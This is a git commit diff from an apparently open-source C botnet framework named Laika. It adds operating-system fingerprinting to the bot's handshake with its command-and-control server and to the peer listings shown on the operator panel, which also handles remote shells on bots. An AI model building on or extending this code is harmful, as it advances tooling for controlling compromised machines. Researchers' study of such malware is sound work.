Added OSTYPE, added OS info to handshake & peer-related packets

This commit is contained in:
CPunch 2022-03-17 23:05:18 -05:00
parent 4833dea67f
commit 6f60c7a5b7
12 changed files with 59 additions and 25 deletions

View File

@ -115,6 +115,7 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
laikaS_write(sock, bot->peer->hostname, LAIKA_HOSTNAME_LEN);
laikaS_write(sock, bot->peer->inet, LAIKA_INET_LEN);

View File

@ -97,6 +97,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
major = laikaS_readByte(&peer->sock);
minor = laikaS_readByte(&peer->sock);
peer->osType = laikaS_readByte(&peer->sock);
peer->type = PEER_BOT;
if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
@ -138,7 +139,7 @@ void laikaC_handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, v
#define DEFAULT_PKT_TBL \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
laikaC_handleHandshakeRequest, \
LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + sizeof(uint8_t) + crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN, \
false), \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, \
laikaC_handleAuthenticatedHandshake, \

View File

@ -23,6 +23,7 @@ void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_write(&authPeer->sock, peer->inet, LAIKA_INET_LEN);
laikaS_write(&authPeer->sock, peer->ipv4, LAIKA_IPV4_LEN);
laikaS_writeByte(&authPeer->sock, peer->type);
laikaS_writeByte(&authPeer->sock, peer->osType);
laikaS_endOutPacket(authPeer);
}

View File

@ -9,8 +9,8 @@
#define LAIKA_MAX_PKTSIZE 4096
#define LAIKA_HOSTNAME_LEN 64
#define LAIKA_IPV4_LEN 16
#define LAIKA_INET_LEN 16
#define LAIKA_IPV4_LEN 22
#define LAIKA_INET_LEN 22
#define LAIKA_SHELL_DATA_MAX_LENGTH 256
@ -44,6 +44,7 @@ enum {
* uint8_t laikaMagic[LAIKA_MAGICLEN]; -- LAIKA_MAGIC
* uint8_t majorVer;
* uint8_t minorVer;
* uint8_t osType;
* uint8_t pubKey[crypto_kx_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
* char hostname[LAIKA_HOSTNAME_LEN]; -- can be empty (ie. all NULL bytes)
* char inet[LAIKA_INET_LEN]; -- can be empty (ie. all NULL bytes)
@ -77,6 +78,7 @@ enum {
* char inet[LAIKA_INET_LEN];
* char ipv4[LAIKA_IPV4_LEN];
* uint8_t peerType;
* uint8_t osType;
*/
LAIKAPKT_AUTHENTICATED_RMV_PEER_RES, /* notification that a peer has disconnected from the cnc */
/* layout of LAIKAPKT_AUTHENTICATED_RMV_PEER_RES

View File

@ -8,12 +8,28 @@
#include "lsodium.h"
typedef enum {
PEER_UNVERIFIED,
PEER_UNKNWN,
PEER_BOT,
PEER_CNC, /* cnc 2 cnc communication */
PEER_AUTH /* authorized peers can send commands to cnc */
} PEERTYPE;
typedef enum {
OS_UNKNWN,
OS_WIN,
OS_LIN
} OSTYPE;
#ifdef _WIN32
#define LAIKA_OSTYPE OS_WIN
#else
#ifdef __linux__
#define LAIKA_OSTYPE OS_LIN
#else
#define LAIKA_OSTYPE OS_UNKNWN
#endif
#endif
struct sLaika_peer;
typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData);
@ -37,6 +53,7 @@ struct sLaika_peer {
LAIKAPKT_SIZE pktSize; /* current pkt size */
LAIKAPKT_ID pktID; /* current pkt ID */
PEERTYPE type;
OSTYPE osType;
int outStart; /* index of pktID for out packet */
int inStart; /* index of pktID for in packet */
bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */

View File

@ -34,7 +34,7 @@
#include <sys/epoll.h>
/* max events for epoll() */
#define MAX_EPOLL_EVENTS 128
#define LAIKA_USE_EPOLL
#define LAIKA_USE_EPOLL
#endif
#include <unistd.h>
#include <errno.h>

View File

@ -10,7 +10,8 @@ struct sLaika_peer *laikaS_newPeer(struct sLaika_peerPacketInfo *pktTbl, struct
peer->pList = pList;
peer->uData = uData;
peer->pktSize = 0;
peer->type = PEER_UNVERIFIED;
peer->type = PEER_UNKNWN;
peer->osType = OS_UNKNWN;
peer->pktID = LAIKAPKT_MAXNONE;
peer->setPollOut = false;
peer->outStart = -1;

View File

@ -35,6 +35,4 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
void shellC_closeShell(tShell_client *client);
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz);
void shellC_printInfo(tShell_peer *peer);
#endif

View File

@ -8,11 +8,12 @@ typedef struct sShell_peer {
uint8_t pub[crypto_kx_PUBLICKEYBYTES];
char hostname[LAIKA_HOSTNAME_LEN], inet[LAIKA_INET_LEN], ipv4[LAIKA_IPV4_LEN];
PEERTYPE type;
OSTYPE osType;
} tShell_peer;
tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pub, char *hostname, char *inet, char *ipv4);
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pub, char *hostname, char *inet, char *ipv4);
void shellP_freePeer(tShell_peer *peer);
char *shellP_typeStr(tShell_peer *peer);
void shellP_printInfo(tShell_peer *peer);
#endif

View File

@ -38,7 +38,7 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
uint8_t pubKey[crypto_kx_PUBLICKEYBYTES];
tShell_client *client = (tShell_client*)uData;
tShell_peer *bot;
uint8_t type;
uint8_t type, osType;
/* read newly connected peer's pubKey */
laikaS_read(&peer->sock, pubKey, crypto_kx_PUBLICKEYBYTES);
@ -48,15 +48,16 @@ void shellC_handleAddPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
laikaS_read(&peer->sock, inet, LAIKA_INET_LEN);
laikaS_read(&peer->sock, ipv4, LAIKA_IPV4_LEN);
/* read peer's peerType */
/* read peer's peerType & osType */
type = laikaS_readByte(&peer->sock);
osType = laikaS_readByte(&peer->sock);
/* ignore panel clients */
if (type == PEER_AUTH)
return;
/* create peer */
bot = shellP_newPeer(type, pubKey, hostname, inet, ipv4);
bot = shellP_newPeer(type, osType, pubKey, hostname, inet, ipv4);
/* add peer to client */
shellC_addPeer(client, bot);
@ -116,7 +117,7 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_ADD_PEER_RES,
shellC_handleAddPeer,
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t),
crypto_kx_PUBLICKEYBYTES + LAIKA_HOSTNAME_LEN + LAIKA_INET_LEN + LAIKA_IPV4_LEN + sizeof(uint8_t) + sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_AUTHENTICATED_RMV_PEER_RES,
shellC_handleRmvPeer,
@ -205,6 +206,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
laikaS_writeByte(sock, LAIKA_OSTYPE);
laikaS_write(sock, client->pub, sizeof(client->pub)); /* write public key */
/* write stub hostname & ipv4 (since we're a panel/dummy client, cnc doesn't need this information really) */
@ -297,7 +299,7 @@ int shellC_addPeer(tShell_client *client, tShell_peer *newPeer) {
/* let user know */
if (!shellC_isShellOpen(client)) {
shellT_printf("\nNew peer connected to CNC:\n");
shellC_printInfo(newPeer);
shellP_printInfo(newPeer);
}
return id;
}
@ -311,7 +313,7 @@ void shellC_rmvPeer(tShell_client *client, tShell_peer *oldPeer, int id) {
if (!shellC_isShellOpen(client)) {
shellT_printf("\nPeer disconnected from CNC:\n");
shellC_printInfo(oldPeer);
shellP_printInfo(oldPeer);
}
/* finally, free peer */
@ -351,10 +353,3 @@ void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
laikaS_write(&client->peer->sock, data, sz);
laikaS_endVarPacket(client->peer);
}
void shellC_printInfo(tShell_peer *peer) {
char buf[128];
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s@%s\n\tTYPE: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), buf, peer->inet);
}

View File

@ -40,7 +40,7 @@ void listPeers(tShell_client *client, int args, char *argc[]) {
for (i = 0; i < client->peerTblCount; i++) {
if (client->peerTbl[i]) {
shellT_printf("\n%04d ", i);
shellC_printInfo(client->peerTbl[i]);
shellP_printInfo(client->peerTbl[i]);
}
}
shellT_printf("\n");

View File

@ -1,10 +1,12 @@
#include "lmem.h"
#include "lpacket.h"
#include "speer.h"
#include "sterm.h"
tShell_peer *shellP_newPeer(PEERTYPE type, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) {
tShell_peer *shellP_newPeer(PEERTYPE type, OSTYPE osType, uint8_t *pubKey, char *hostname, char *inet, char *ipv4) {
tShell_peer *peer = (tShell_peer*)laikaM_malloc(sizeof(tShell_peer));
peer->type = type;
peer->osType = osType;
/* copy pubKey to peer's pubKey */
memcpy(peer->pub, pubKey, crypto_kx_PUBLICKEYBYTES);
@ -33,4 +35,19 @@ char *shellP_typeStr(tShell_peer *peer) {
case PEER_AUTH: return "Auth";
default: return "err";
}
}
char *shellP_osTypeStr(tShell_peer *peer) {
switch (peer->osType) {
case OS_WIN: return "Windows";
case OS_LIN: return "Linux";
default: return "unkn";
}
}
void shellP_printInfo(tShell_peer *peer) {
char buf[128];
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s@%s\n\tTYPE: %s\n\tOS: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), shellP_osTypeStr(peer), buf, peer->inet);
}